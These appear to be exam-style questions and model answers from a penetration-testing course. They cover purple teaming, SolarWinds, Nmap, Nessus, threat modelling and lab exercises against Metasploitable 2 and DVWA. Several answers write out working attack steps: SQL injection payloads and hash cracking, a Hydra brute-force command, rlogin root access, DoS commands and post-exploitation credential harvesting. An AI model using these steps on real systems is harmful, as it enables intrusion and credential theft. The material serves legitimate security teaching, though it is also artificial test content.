- (4) Encryption: The ransomware encrypts files using strong symmetric encryption (typically AES-256) with a per-file or per-machine key. The symmetric key is itself encrypted with the attacker's public RSA/ECC key and sent to C2 infrastructure. Without the corresponding private key (held by the attacker), decryption is computationally infeasible.
- (5) Ransom demand: Ransom note left on all encrypted systems, typically demanding payment in cryptocurrency (Monero preferred for privacy, Bitcoin also common) for a decryption tool.

Why paying is not a recovery strategy: (1) No guarantee of working decryption — attacker may not provide a key, may provide broken tools, or may demand more payment. Studies show a significant percentage of victims who paid did not receive working decryption. (2) Paying funds further criminal operations. (3) Double extortion makes payment of decryption ransom irrelevant to preventing data publication. (4) Paying marks the organisation as willing to pay, inviting future attacks.

The two backup properties determining paymentless recovery: (1) Offline or immutable backups: Backups that ransomware cannot reach and encrypt. Online-only backups connected to the corporate network are typically encrypted alongside production data. Air-gapped or WORM-protected backups survive ransomware encryption. (2) Known restore time relative to RTO/RPO: Backups must be recent enough (within RPO) and the restore process must be tested and fast enough (within RTO) for recovery to be operationally viable. An untested backup from 6 months ago that takes 3 weeks to restore is not a practical recovery option.

**Q528: The course describes the goal of building 'purple teams of cybersecurity experts.' What is the purple team concept, how does it differ from red team and blue team, and why does the course use this framing for student learning objectives?**

**Model Answer:**

Red team: The offensive security function — security professionals who think and act like attackers, attempting to compromise systems, bypass defences, and achieve defined objectives using real attacker tactics. Red teams perform adversary simulations, penetration tests, and phishing exercises. Their output is evidence of what a motivated attacker could achieve against the organisation's real defences.

Blue team: The defensive security function — security operations, incident response, threat detection, log analysis, hardening, and vulnerability management. The blue team monitors the environment, responds to incidents, and continuously improves defences. Their output is detection capability, reduced mean-time-to-detect, and improved security posture.

Traditional separation: Red and blue teams often operate independently. Red team findings may not be communicated to the blue team in time for them to build detections; blue team detections may not reflect actual attacker techniques the red team uses.

Purple team: A collaborative model where red and blue team capabilities are integrated. Rather than adversarial separation, the purple team runs exercises where offensive and defensive practitioners work together: the red team uses a specific technique (e.g., Mimikatz credential dumping), immediately checks whether the blue team's SIEM detected it, and if not, works with the blue team to build the detection before moving to the next technique. Purple teaming accelerates the feedback loop between attack simulation and detection improvement.

Why the course uses this framing: The exam goal is to produce graduates who understand both attack mechanics and defence responses at the same time. A student who understands how EternalBlue works (red knowledge) but also understands how to detect SMB scanning, EternalBlue exploitation, and lateral movement in SIEM logs (blue knowledge) is more valuable than one who only knows one side. The course labs deliberately teach students to exploit vulnerabilities AND understand what compensating controls, detection rules, and policies would prevent or detect each finding — building the integrated perspective that defines a purple team practitioner.

**Q529: The course regularly covers 'cybersecurity incident of the week' case studies. The SolarWinds supply chain attack is used as a key example. Describe the attack mechanism, what made it particularly hard to detect, and the three defensive principles it reinforced for the course.**

**Model Answer:**

The SolarWinds Orion supply chain attack (disclosed December 2020) is one of the most significant cyber espionage operations ever publicly disclosed, attributed to the Russian SVR (Cozy Bear).

Attack mechanism: The attackers compromised the SolarWinds build and deployment pipeline — the infrastructure used to compile and sign the SolarWinds Orion IT monitoring software. They injected malicious code (called SUNBURST) into a legitimate Orion software update (version 2019.4 through 2020.2.1). SolarWinds then signed this update with their legitimate code-signing certificate and distributed it through their normal software update channels. Approximately 18,000 organisations downloaded and installed the backdoored update between March and June 2020. The SUNBURST backdoor waited 12-14 days after installation before activating (to avoid sandbox detection), then beacons to C2 infrastructure disguised as

legitimate Orion traffic. It provided hands-on-keyboard access to the attacker for further espionage.

What made it particularly hard to detect: (1) The update was cryptographically signed by SolarWinds' legitimate certificate — all signature validation checks passed. (2) The malware blended in with legitimate Orion traffic patterns, using the same domain naming conventions and C2 communication structure as the real product. (3) The backdoor was installed on the update server, not the endpoint — no endpoint detection would see unusual installation because the installer was the legitimate software update process. (4) The 12-14 day dormancy period meant sandbox detection of the update package would not trigger. (5) Affected organisations trusted SolarWinds deeply — it was monitoring infrastructure used to manage the rest of their network, meaning its traffic was generally trusted and whitelisted.

Three defensive principles reinforced: (1) Supply chain integrity verification: signed does not mean safe. Code signing verifies the publisher, not the content's security. Software Bill of Materials (SBOM), build reproducibility, and integrity monitoring of the build pipeline are necessary. (2) Least privilege for monitoring tools: SolarWinds Orion was given very broad permissions because it needed to monitor everything. Post-SolarWinds guidance explicitly recommends limiting monitoring agent permissions. (3) Network segmentation and egress filtering: SUNBURST required outbound C2 communication. Proper egress filtering — blocking all outbound connections except to explicitly approved destinations — would have interrupted C2 even for an installed backdoor.

**Q530: In Lab 2, two Nmap scans were run against Metasploitable 2: `sudo nmap -sS 10.0.2.4` and `sudo nmap -sT 10.0.2.4`. Explain the technical difference between these scan types, why both require elevated privileges (or not), and what the course lab found when comparing their output.**

**Model Answer:**

Technical difference:

-sS (SYN scan / stealth scan): Sends a TCP SYN packet to each port. If the port is open, the target responds with SYN/ACK. Nmap immediately sends a RST (reset) without completing the three-way handshake — the TCP connection is never fully established. This is the 'half-open' or 'stealth' scan. Because no complete connection is made, many application-layer logs do not record the attempt. Requires root/sudo because constructing raw packets (sending RST without letting the OS complete the handshake) requires raw socket access, which is a privileged operation.

-sT (TCP connect scan): Uses the standard OS connect() system call to complete a full three-way handshake (SYN → SYN/ACK → ACK). After receiving confirmation the port is open, Nmap closes the connection with a graceful FIN. Does not require raw socket privileges because it uses normal OS socket APIs. However, the completed connection is more likely to appear in application logs.

Privilege requirement: -sS requires root because raw packet construction bypasses the OS TCP stack. -sT does not require root because it uses the standard socket API. In practice, in the lab both are run with sudo because -sS specifically requires it.

Lab comparison results: Both scans found approximately the same set of open ports on Metasploitable 2 — around 23 open ports on MS2 and 18 on MS3. The detected ports were identical between scan types. The difference is in how the connection appears to the target: -sS leaves no completed connection in application logs; -sT creates a complete TCP connection record. For the purposes of port enumeration on a local isolated lab network, both produce equivalent results. In professional practice, -sS is preferred for reduced footprint; -sT is the fallback when raw socket access is unavailable or when a specific application response requires completing the handshake.

**Q531: Describe step-by-step how to configure and run an authenticated Nessus scan against Metasploitable 2 in the lab. What credentials are used, what scan template is selected, and what specific additional findings does authentication enable?**

**Model Answer:**

Step-by-step authenticated Nessus scan configuration:

(1) Open Nessus: Navigate to <https://localhost:8834> in the Kali browser. Log in with the Nessus administrator credentials.

(2) Create a new scan: Click 'New Scan' → Select 'Basic Network Scan' template. This template is appropriate for comprehensive host scanning.

(3) Configure basic settings: Name the scan (e.g., 'MS2 Authenticated'), set Target to 10.0.2.4 (Metasploitable 2's IP).

(4) Add SSH credentials (Authentication tab): Navigate to the 'Credentials' section → SSH → Username: msfadmin, Password: msfadmin. These are Metasploitable 2's default SSH credentials. Nessus will use these to authenticate to the target over SSH and perform local checks from inside the system.

(5) Launch the scan: Click 'Save' then 'Launch'. The authenticated scan took approximately 14 minutes in the lab.

(6) Review results: The authenticated scan found Critical: 27, High: 97, Medium: 144, Low: 19, Info: 186 findings — compared to the unauthenticated scan's 11 Critical, 7 High, 26 Medium, 9 Low.

Specific additional findings that authentication enabled:

Bash Shellshock (CVE-2014-6271, CVSS 9.8): Requires inspecting the bash binary locally — only detectable through SSH access to the running system.

Weak Debian OpenSSH Keys (CVE-2008-0166, CVSS 9.8): Requires reading `/root/.ssh/authorized_keys` or checking SSH key metadata locally. The Debian OpenSSL bug (2006–2008) produced a predictable set of SSH key pairs; detecting their presence requires local file inspection.

229 Ubuntu package CVEs: Nessus queried dpkg (the package manager) over SSH and compared installed package versions against the Ubuntu Security Advisory database. These local package vulnerabilities are entirely invisible to unauthenticated network scanning — the network does not expose which packages are installed.

Apache Log4j installed: Software inventory via SSH revealed Log4j was present, flagging potential Log4Shell (CVE-2021-44228) exposure.

Vim multiple CVEs: Local text editor vulnerabilities visible only through package inspection.

The lab demonstrates that authenticated scans add an entirely new category of findings (local patch state, file contents, installed software) on top of network-visible findings — without changing the severity of any existing network-visible finding.

**Q532: Lab 3 demonstrates passwordless root login via rlogin on Metasploitable 2. Describe the exact command used, what authentication mechanism enables it, what output confirms root access, and why this represents a Critical CVSS 10.0 finding.**

**Model Answer:**

Exact command: `rlogin -l root 10.0.2.4`

Flag explanation: `rlogin` is the 'remote login' utility. `-l root` specifies the username to log in as. `10.0.2.4` is the target host.

What happens: The `rlogin` client connects to port 513/tcp on the target. The `rlogin` service (running as part of BSD `r-services` via `inetd`) checks whether the connecting host and username are in a trust file. On Metasploitable 2, the `/etc/hosts.equiv` or `/root/.rhosts` file is configured to trust connections from the Kali host without requiring a password for the root account. The service immediately grants a root shell — no password prompt, no challenge.

Output confirming root access: After running the command, the terminal shows the Metasploitable 2 shell prompt as `root`. Running `whoami` returns: `root`. Running `id` returns: `uid=0(root) gid=0(root) groups=0(root)`. This confirms unauthenticated root access to the system.

Why CVSS 10.0: The CVSS v3 vector for this finding is: Attack Vector: Network (exploitable from the network without local access), Attack Complexity: Low (no special conditions), Privileges Required: None (no credentials required), User Interaction: None, Scope: Unchanged, Confidentiality/Integrity/Availability: High/High/High. Every metric is at its worst value — a network-accessible service granting full root access

with no authentication whatsoever. The finding represents complete system compromise achievable with a single command from anywhere the service is reachable. The GVM scanner confirmed this finding with the specific note 'login Passwordless Login — root access without password, CVSS 10.0.' The fact that no exploit is needed — simply connecting as root works — makes this arguably more severe than many CVEs that require crafted payloads.

**Q533: Describe exactly how to perform the SQL injection exercise on DVWA at Low security level. Write each payload used in order, explain what each reveals, and state what the complete data extraction sequence demonstrates about the attack methodology.**

**Model Answer:**

The DVWA SQL Injection exercise is at <http://10.0.2.4/dvwa/vulnerabilities/sqli/>. The input field accepts a User ID. Security level must be set to Low in DVWA settings.

Step 1 — Confirm injection point: Payload: ' (a single quote). Expected result: MySQL error returned to the page — something like 'You have an error in your SQL syntax'. This confirms the input is being concatenated directly into a SQL query and that error messages are exposed. The underlying query is approximately: `SELECT first_name, last_name FROM users WHERE user_id = '$input'`;

Step 2 — Tautology test (return all rows): Payload: ' OR 1=1#. The query becomes: `SELECT first_name, last_name FROM users WHERE user_id = " OR 1=1#`'. The # comments out the rest. Result: all rows from the users table are returned — admin, Gordon Brown, Hack Me, Pablo Picasso, Bob Smith. This confirms the injection is fully exploitable and reveals all usernames.

Step 3 — Determine column count and types for UNION injection: Payload: ' UNION SELECT null, null#. If this works without error, the SELECT statement has exactly two columns. If not, adjust to match. Result: confirms two columns.

Step 4 — Extract password hashes with UNION SELECT: Payload: ' UNION SELECT user, password FROM users#. The query appends a second SELECT that extracts user and password fields from the users table. Result: all username:hash pairs are returned in the page output:  
admin:5f4dcc3b5aa765d61d8327deb882cf99, gordonb:e99a18c428cb38d5f260853678922e03,  
1337:8d3533d75ae2c3966d7e0d4fcc69216b, pablo:0d107d09f5bbe40cade3de5c71e9e9b7,  
smithy:5f4dcc3b5aa765d61d8327deb882cf99.

Step 5 — Identify hash type and crack: The hash format \$1\$... would indicate MD5crypt, but the plain 32-character hex hashes (e.g. 5f4dcc3b5aa765d61d8327deb882cf99) are standard MD5. Running `john --format=raw-md5 --wordlist=rockyou.txt hashes.txt` (or looking up 5f4dcc3b5aa765d61d8327deb882cf99 in any hash database) immediately reveals: admin:password, smithy:password, gordonb:abc123, pablo:letmein, 1337:charley.

What the sequence demonstrates: Injection discovery → enumeration → extraction → cracking is the complete chain from a vulnerable parameter to plaintext credentials. Each step builds on the previous. The methodology confirms that SQL injection is not just theoretical — a single vulnerable parameter exposes the entire user database in minutes.

**Q534: Lab 6 runs three resource-exhaustion experiments. For each, describe the exact tool/command used, what metric was monitored to observe the effect, what the specific observed result was, and what it proves about that attack type.**

**Model Answer:**

Three DoS experiments with exact commands and observed results:

(1) Parallel Nmap port scan: Command: `sudo nmap -T5 -p 1-65535 --min-parallelism 100 10.0.2.4` (or similar high-speed/parallel scan). Monitored metric: top command output on the Metasploitable 2 terminal — specifically the %si (software interrupt) percentage in the CPU line. Observed result: %si jumped sharply — in the lab documentation this reached approximately 99.0%si, 0.0%id (idle). CPU time was dominated by interrupt handling for incoming packets. What it proves: High-rate network scanning exhausts the kernel's interrupt processing capacity. The attack does not require application-layer knowledge — raw packet volume is sufficient to degrade system responsiveness. Defence: rate limiting at network level (firewall rules limiting SYN rate per source IP), IDS detection of port scan patterns.

(2) HTTP flood at 500 concurrent requests: Command: `ab -n 10000 -c 500 http://10.0.2.4/dvwa/` (Apache Benchmark tool with 10,000 requests at 500 concurrent). Monitored metric: Apache access logs (`tail -f /var/log/apache2/access.log`) and response time from the ab output. Observed result: At 200 concurrent: moderate delays, some timeouts. At 500 concurrent: significant timeout rate, Apache worker pool saturated, requests queued and dropped. ab reported high percentage of non-2xx responses. What it proves: Application-layer DoS (Layer 7) can bring a service down without volumetric network flooding. The bottleneck was Apache's max worker count, not network bandwidth. The MySQL database and SSH service on the same host remained responsive — the attack was service-specific. Defence: rate limiting per source IP at the web server or reverse proxy level, CAPTCHA for human/bot discrimination, auto-scaling worker pools.

(3) I/O-intensive disk/CPU workload: Command: A combined disk-intensive operation such as `dd if=/dev/zero of=/tmp/bigfile bs=1M count=2048 && find / -type f` (or a CPU+I/O stress combination). Monitored metric: top output — %wa (CPU wait), overall %id (idle), and interactive terminal lag (typing delay). Observed result: Most severe of the three. Typing lag in the terminal, multiple processes entering high CPU/I/O wait states, %wa spiked, system-wide degradation affecting MySQL, Apache, and SSH simultaneously. What it proves: Attacks targeting fundamental OS-level resources (CPU cycles and disk I/O) cause broader system-wide impact than single-service exhaustion. This mirrors real ransomware encryption behaviour (I/O intensive) and cryptomining malware (CPU intensive). Defence: resource control groups (cgroups) limiting per-process CPU/I/O, separate disk for OS vs data, monitoring for anomalous I/O patterns.

**Q535: Lab 7 requires configuring and launching a GoPhish phishing simulation campaign. Describe the four components that must be created before launching a campaign, what information each requires, and what metrics GoPhish collects during the campaign.**

**Model Answer:**

GoPhish requires four components before a campaign can be launched, configured in the admin dashboard at `http://localhost:3333`:

(1) Landing Page: The fake login page victims are directed to when they click the phishing link. Configuration: HTML content of the page (can be imported directly from a URL by entering the target page's address — GoPhish fetches and copies the HTML). The page must contain a form that submits credentials. GoPhish can be configured to capture submitted credentials and/or redirect the victim to a legitimate page after submission (to avoid suspicion). The lab used a simple cloned login form.

(2) Email Template: The phishing email that will be sent to targets. Configuration: Subject line (e.g., 'Urgent: Verify Your Account'), sender display name, HTML or plain-text body. The template includes a link variable `{{.URL}}` that GoPhish automatically replaces with each target's unique tracking link pointing to the landing

page. The course lab used urgency language ('Your account requires immediate verification').

(3) Sending Profile: The SMTP configuration used to send the phishing emails. Configuration: SMTP server address and port, from address (the displayed sender), credentials if the SMTP server requires authentication. In the lab, this was configured to use a local or test SMTP relay — in a real engagement, this would be the sending infrastructure.

(4) Users & Groups (Target Group): The list of email recipients. Configuration: A group of targets with first name, last name, email address, and optionally position. In the lab this used dummy/fake profiles (not real email addresses) to avoid sending actual phishing emails.

Launching: Create a Campaign, linking all four components. Set the URL (the address of the GoPhish server that serves the landing page — in the lab, the Kali machine's IP), select a launch time, and start.

Metrics GoPhish collects per target during the campaign: Email Sent (timestamp), Email Opened (if HTML email tracking pixel fires), Clicked Link (timestamp when the unique URL is accessed), Submitted Data (captured credentials if the form is submitted), Reported (if the target reports the email as suspicious). These metrics allow calculation of: email open rate, click-through rate, credential submission rate — the key measurements for quantifying organisational phishing susceptibility before and after security awareness training.

**Q536: Lab 8 applies the four-step threat modeling process to the Android health application. Describe exactly what was produced at each step, the specific STRIDE threats identified for the Authentication Process component, and the mitigations chosen for each.**

**Model Answer:**

The four-step threat modeling process (Model System → Find Threats → Address Threats → Validate) applied to the Android health app:

Step 1 — Model System (produce the DFD): The team drew a Level-1 DFD with the components identified in the lab: User (external entity, rectangle) → Authentication Process (circle/oval) → Health Data Management Process (circle) → Local Storage (parallel lines). A trust boundary (dashed line) separates the external User from the internal Android application environment. Data flows drawn: User provides username/password to Authentication Process; Authentication Process reads/writes credential data from Local Storage; authenticated User accesses Health Data Management Process; Health Data Management Process reads/writes health data to/from Local Storage.

Step 2 — Find Threats (apply STRIDE to each component): For the Authentication Process specifically, applying each STRIDE category: S (Spoofing): An attacker uses stolen credentials to authenticate as a legitimate user. Or a fake login screen (overlay attack on Android) intercepts credentials before they reach the real app. T (Tampering): An attacker on a rooted device modifies the Authentication Process binary or its shared libraries to bypass password checking. R (Repudiation): No audit log records failed login attempts, so an attacker can attempt unlimited logins with no evidence trail. I (Information Disclosure): The app stores the user's password hash (or worse, plaintext) in SharedPreferences, readable by other apps if the device is rooted. D (Denial of Service): An automated script repeatedly attempts logins with wrong passwords. Without rate limiting, the account has no protection and the app is resource-constrained. E (Elevation of Privilege): A successful authentication as a low-privilege 'read-only' guest account transitions to full admin rights due to a missing post-authentication authorisation check.

Step 3 — Address Threats (choose treatment for each): Spoofing mitigation: implement MFA (e.g., PIN after password), detect overlay attacks. Tampering mitigation: use Android SafetyNet/Play Integrity API to detect

rooted/modified devices; use tamper-resistant code techniques. Repudiation mitigation: log all authentication events (success, failure, timestamp) to a secure append-only log. Information Disclosure mitigation: hash passwords with bcrypt; store hash in Android Keystore-protected storage not SharedPreferences. DoS mitigation: implement exponential backoff and account lockout after N failed attempts. EoP mitigation: check authorisation server-side on every sensitive operation, not only at login.

Step 4 — Validate: Review that every identified threat has a documented mitigation or explicit risk-acceptance decision. Verify the DFD accurately reflects the as-built application. Create test cases for each mitigation (e.g., 'attempting login after 5 failures must trigger lockout').

**Q537: Lab 9 uses SSL Labs ([ssllabs.com/sslltest](https://ssllabs.com/sslltest)) to analyse the TLS configuration of [github.com](https://github.com). Describe what SSL Labs tests, what the A+ rating means in terms of specific properties present, and what findings would reduce the rating to A or B.**

**Model Answer:**

What SSL Labs tests: SSL Labs performs a comprehensive automated assessment of a public HTTPS server's TLS configuration. It tests: (1) supported TLS protocol versions; (2) supported cipher suites and their ordering; (3) certificate validity, chain, and key strength; (4) key exchange mechanisms and forward secrecy; (5) HTTP security headers (HSTS presence and max-age); (6) known vulnerabilities (POODLE, BEAST, CRIME, DROWN, Heartbleed, ROBOT, LogJam, FREAK); (7) session resumption configuration; (8) OCSP stapling; (9) DNS CAA records.

What the A+ rating means for [github.com](https://github.com): (1) TLS 1.2 and TLS 1.3 supported; TLS 1.0 and 1.1 disabled. (2) All cipher suites provide forward secrecy (ECDHE key exchange). (3) Certificate: issued by a trusted CA (DigiCert), valid, RSA-2048 or ECDSA key, Subject Alternative Names correct, no chain errors. (4) HSTS header present with max-age  $\geq 6$  months (31536000 seconds) and includeSubDomains, enabling the HSTS preload list submission. (5) No known vulnerabilities triggered. The A+ specifically requires HSTS with a sufficiently long max-age — a server can score A without HSTS (certificate, protocols, and ciphers are correct) but needs HSTS to reach A+.

Findings that would reduce to A: Removing the HSTS header or setting a short max-age drops to A. Supporting only TLS 1.2 (no TLS 1.3) while having no other issues typically still scores A. Weak cipher suite ordering (non-forward-secret ciphers available but not preferred) may reduce to A.

Findings that would reduce to B: Supporting TLS 1.0 or TLS 1.1 alongside modern versions typically drops the score to B. Using a certificate signed with SHA-1 (deprecated) drops to B. Weak Diffie-Hellman group sizes (below 2048-bit DH parameters) — relevant to the LogJam vulnerability — drop to B or lower.

Lab significance: The A+ result for [github.com](https://github.com) serves as a reference standard — it demonstrates what a correctly configured modern HTTPS server looks like. Comparing this against Metasploitable 2's SMTP service (expired 2010 certificate, SSLv2/v3 supported, weak ciphers — which would score F) demonstrates the full spectrum of TLS configuration quality in the course labs.

**Q538: After running Nessus against Metasploitable 2, findings were grouped by plugin family. Name four plugin families that appeared in the results, explain what each family checks for, and describe one specific finding from each family found on Metasploitable 2.**

**Model Answer:**

Nessus organises its checks into plugin families representing categories of security checks:

(1) Backdoors: Checks for known backdoors, trojans, and intentionally malicious software components installed in services. Nessus's backdoor family uses signatures and version detection to identify services that are known to contain embedded backdoor code. Specific finding on MS2: vsftpd 2.3.4 backdoor (CVE-2011-2523) — Nessus detected vsftpd 2.3.4 via banner and flagged it as a known backdoored distribution. Similarly, UnrealIRCd 3.2.8.1 (CVE-2010-2075) was found by the backdoor family. These findings appeared in both the unauthenticated and authenticated scans because the version is visible without credentials.

(2) Gain a Shell Remotely: Checks for vulnerabilities that allow an attacker to obtain command execution on the target system without requiring prior local access. Specific finding on MS2: The Ingreslock/bindshell on port 1524 — Nessus's check connected to port 1524 and confirmed it responded as an open command shell. This is the most critical finding class — direct shell access.

(3) Ubuntu Local Security Checks (authenticated only): Checks installed Ubuntu package versions against the Ubuntu Security Advisory database for known CVEs. Requires SSH authentication to read dpkg package metadata. Specific finding on MS2: In the authenticated scan, Nessus found 229 unpatched Ubuntu CVEs across packages including openssl, libssl, curl, python, and perl. Ubuntu 8.04 (EOL May 2013) receives no further patches, so these findings cannot be remediated on this OS — they represent the permanent backlog of unpatched CVEs on an EOL system.

(4) Web Servers: Checks HTTP server configurations, versions, and known web server vulnerabilities. Specific finding on MS2: Apache Tomcat 5.5 (port 8180) flagged as end-of-life with multiple known CVEs. Nessus also detected phpinfo() exposure at /phpinfo.php (information disclosure) and HTTP methods PUT and DELETE enabled — which allow arbitrary file upload and deletion on the web server without authentication, a critical finding.

**Q539: Lab 3 documents the theoretical lateral movement path from Metasploitable 2 to Metasploitable 3. Describe the step-by-step methodology for assessing lateral movement potential after gaining root on MS2, including the specific commands used and what each reveals.**

**Model Answer:**

After gaining root shell on MS2 (10.0.2.4), the lateral movement assessment methodology:

Step 1 — Understand the current network position: `ip a` (or `ifconfig`) → reveals MS2's network interfaces and IP addresses. In the lab: `eth0: 10.0.2.4/24`. This shows which network MS2 is on. `netstat -rn` → shows the routing table, revealing which other networks are reachable from MS2.

Step 2 — Identify other hosts via ARP cache: `arp -n` → shows IP-to-MAC mappings of hosts MS2 has recently communicated with. In the lab: this revealed 10.0.2.3 (Kali) and 10.0.2.15 (MS3) in the ARP cache, confirming MS3 is reachable from MS2 even if not directly visible from outside the lab network.

Step 3 — Network scan from inside the compromised host: `nmap -sV -T4 10.0.2.15` (run from the root shell on MS2). Because this scan originates from inside the network, it may reveal services on MS3 that are firewalled from external access. In the lab this confirmed SMB (445), RDP (3389), WinRM (5985), and other services on MS3.

Step 4 — Harvest credentials from MS2 for reuse: `cat /etc/shadow` → extracts all password hashes. Identified: root, msfadmin, postgres, service, user accounts all have MD5 hashes. Also: `grep -r 'password' /etc/proftpd/` → found SQL credentials in `/etc/proftpd/sql.conf`. `grep -r 'password' /var/www/` → found

database connection strings in web application configs including the DVWA config.

Step 5 — Test credential reuse against MS3: With the vagrant:vagrant credentials found during MS3 reconnaissance, attempt: `nc -zv 10.0.2.15 5985` → confirms WinRM port is open. Credentials vagrant:vagrant then used with the WinRM auxiliary module or curl to WinRM endpoint.

Step 6 — Assess trust relationships: `cat /root/.rhosts` (if exists) → shows which hosts have passwordless trust. `cat /root/.ssh/known_hosts` → reveals which SSH hosts root has previously connected to. These hosts may still accept MS2's host key or may have trust relationships exploitable from the new position.

What this methodology demonstrates: A single compromised host is not an isolated incident — it provides a new network vantage point from which the attacker can see hosts, services, and credentials that were previously invisible. Post-exploitation lateral movement assessment is a required part of demonstrating full business impact.

**Q540: A new student asks: 'How would I approach a complete penetration test of a single host from scratch, using the tools covered in the course?' Write the ordered workflow from pre-engagement to final report, specifying which lab corresponds to each phase.**

**Model Answer:**

Complete penetration test workflow using course tools:

Phase 1 — Pre-engagement (Ethics and Scope): Before any technical activity: obtain written authorisation specifying the target IP/network, permitted actions, time window, and emergency contacts. Sign the ethical statement. Define what constitutes success (root shell, data extraction, specific business impact) and what is out of scope. This is the ethical foundation covered in Lab 1 and Lecture 1. Without this step, everything that follows is illegal.

Phase 2 — Passive Reconnaissance (Lab 2): `whois target.com` → registrant, nameservers, registration dates. `host www.target.com` → resolves IP address. `whois [IP address]` → identifies hosting provider, ASN, network block. LinkedIn/website OSINT → organisational context, email formats. No traffic sent to the target; all public information.

Phase 3 — Active Discovery and Port Scanning (Lab 2): `sudo nmap -sS -T4 [target]` → discover open ports. `sudo nmap -sV -O -sC -T4 [target]` → version detection, OS fingerprinting, NSE default scripts. Record all open ports, service versions, and banner information. Map version strings to CVE databases.

Phase 4 — Vulnerability Scanning (Lab 2): Run Nessus Basic Network Scan against target. Run GVM/OpenVAS scan (filter to QoD ≥ 70). Compare findings between tools. Identify overlapping confirmed findings vs tool-specific findings. Note false positives requiring manual validation.

Phase 5 — Exploitation (Lab 3): Select highest-priority confirmed, exploitable finding. Use Metasploit: `search [vulnerability]`, `use [module]`, `set RHOSTS`, `set LHOST`, `run`. Document each step. Start with least-impact confirmation (PoC) before full exploitation. Confirm access level (`getuid`, `sysinfo`).

Phase 6 — Post-Exploitation Evidence Collection (Lab 3): Minimum-impact evidence only. `whoami/id` → confirm privilege. `arp/netstat` → network visibility. Download specific evidence files (`/etc/shadow` for credential exposure, config files for credential reuse potential). Assess persistence mechanisms present. Do not install new persistence; do not modify data; do not pivot beyond documented scope.

Phase 7 — Web Application Testing if applicable (Lab 5): Manual SQL injection testing on web parameters. Check DVWA-style input fields with single-quote tests. Test file upload functionality. Check for directory

listing, phpinfo() exposure. Use Burp Suite to intercept and modify HTTP requests.

Phase 8 — Reporting (Labs 2, 3, 5): Executive summary (non-technical, business impact). Findings list with: port/service, CVE, CVSS, reproduction steps, evidence screenshots, business impact, remediation recommendation. Prioritise by business risk. Propose retest schedule. Delete all captured evidence per data minimisation policy after agreed handover.

**Q541: Lab 6 uses Hydra to brute-force the DVWA login form over HTTP. Write the exact Hydra command for an HTTP POST form attack, explain every parameter, state what was found, and explain why HTTP form brute-forcing differs technically from SSH brute-forcing.**

**Model Answer:**

Hydra HTTP-POST form attack against DVWA:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.2.4 http-post-form
'/dvwa/login.php:username=^USER^&password;=^PASS^&Login;=Login:Login failed'
```

Parameter explanation:

-l admin — specifies the single username 'admin' to test. DVWA's default admin account. Lowercase -l for a single username literal.

-P /usr/share/wordlists/rockyou.txt — specifies the password wordlist. Capital -P for a file of passwords.

10.0.2.4 — the target IP address of Metasploitable 2.

http-post-form — the protocol module. Unlike ssh:// (which uses standard SSH protocol), HTTP form authentication requires Hydra to simulate a browser POST request, parse the response, and determine success/failure from the page content.

'/dvwa/login.php:username=^USER^&password;=^PASS^&Login;=Login:Login failed' — three colon-separated fields: (1) the URL path of the login form (/dvwa/login.php), (2) the POST body with ^USER^ and ^PASS^ as placeholders that Hydra replaces with each candidate, (3) a failure string ('Login failed') that Hydra looks for in the response to identify a failed attempt. If the response does NOT contain this string, Hydra assumes the login succeeded.

Important pre-requisite: DVWA requires a PHP session cookie for login. The Hydra command must also include the PHPSESSID cookie obtained from an initial browser visit: add :H=Cookie:security=low; PHPSESSID= before the failure string.

What was found: Hydra found that admin:password was accepted — the DVWA admin account uses the default password 'password'. Hydra reported: [80][http-post-form] host: 10.0.2.4 login: admin password: password.

How HTTP form brute-forcing differs from SSH brute-forcing: SSH brute-forcing (hydra ssh://target) uses the SSH protocol's native authentication — Hydra opens a TCP connection to port 22 and performs the cryptographic SSH authentication exchange. HTTP form brute-forcing is fundamentally different: Hydra sends raw HTTP POST requests to the web server, parses the HTML response body, and uses a pattern match (the failure string) to determine success or failure. This requires knowing: the form's action URL, the names of the username and password fields in the POST body, any required cookies or CSRF tokens, and a reliable string that appears on failure but not success. HTTP brute-forcing generates high volumes of web traffic that appear in Apache access logs as repeated POST requests — highly detectable but not necessarily rate-limited on DVWA.

**Q542: The Nmap comprehensive scan of Metasploitable 2 returned approximately 23 open ports. List the most security-significant ports found, the service running on each, and a one-sentence explanation of why each port represents a security concern.**

**Model Answer:**

The most security-significant open ports on Metasploitable 2 (10.0.2.4) from the Nmap scan:

Port 21/tcp — FTP (vsftpd 2.3.4): Version contains a compiled-in backdoor (CVE-2011-2523) triggered by ':' in the username, granting root shell access.

Port 22/tcp — SSH (OpenSSH 4.7p1): SSH service with default credentials msfadmin:msfadmin and weak SSH key algorithms (SHA-1, 1024-bit DH groups). Authenticated scan uses this port.

Port 23/tcp — Telnet: Transmits all credentials and session data in cleartext — any on-path attacker captures usernames and passwords trivially.

Port 25/tcp — SMTP (Postfix): SSL certificate expired 2010, SSLv2/v3 enabled (DROWN/POODLE vulnerable), STARTTLS injection CVE-2011-0411.

Port 80/tcp — HTTP (Apache 2.2.8): Hosts DVWA (SQL-injectable), Mutillidae (LFI vulnerable), phpMyAdmin (admin exposure), phpinfo() disclosure at /phpinfo.php, directory listing enabled, PHP CGI RCE (CVE-2012-1823).

Port 445/tcp — Samba SMB: Samba 3.0.20 with CVE-2007-2447 (username command injection), also Samba Badlock vulnerability.

Port 512/tcp — rexec: Remote execution service transmitting passwords in cleartext. CVSS 10.0 — enables remote command execution.

Port 513/tcp — rlogin: .rhosts-based passwordless root login (CVSS 10.0). No credentials required for root access.

Port 514/tcp — rsh: Cleartext remote shell with trust-based authentication bypass.

Port 1524/tcp — Bindshell (Ingreslock): Open root bind shell — connecting immediately returns uid=0(root) with no authentication. CVSS 10.0.

Port 3306/tcp — MySQL 5.0.51a: Network-exposed with root account requiring no password. Full database access, FILE privilege allows reading OS files.

Port 3632/tcp — DistCC: Distributed compiler daemon accepting unauthenticated jobs containing embedded shell commands (CVE-2004-2687). Not found by default Nmap top-1000 scan.

Port 5432/tcp — PostgreSQL 8.3: Default credentials postgres:postgres, deprecated SSL (SSLv3, expired cert from 2010).

Port 5900/tcp — VNC 3.3: Password 'password', session data transmitted unencrypted.

Port 6667/tcp — IRC (UnrealIRCd 3.2.8.1): Backdoor triggered by 'AB' prefix in any command (CVE-2010-2075).

Port 8009/tcp — AJP (Apache Tomcat): Ghostcat vulnerability CVE-2020-1938 allowing file read and potential RCE through AJP protocol.

Port 8180/tcp — HTTP (Tomcat 5.5): End-of-life with multiple CVEs, potential default Tomcat manager credentials.

Port 8787/tcp — dRuby: Distributed Ruby protocol allowing unauthenticated remote method invocation. Not found by default Nmap scan.

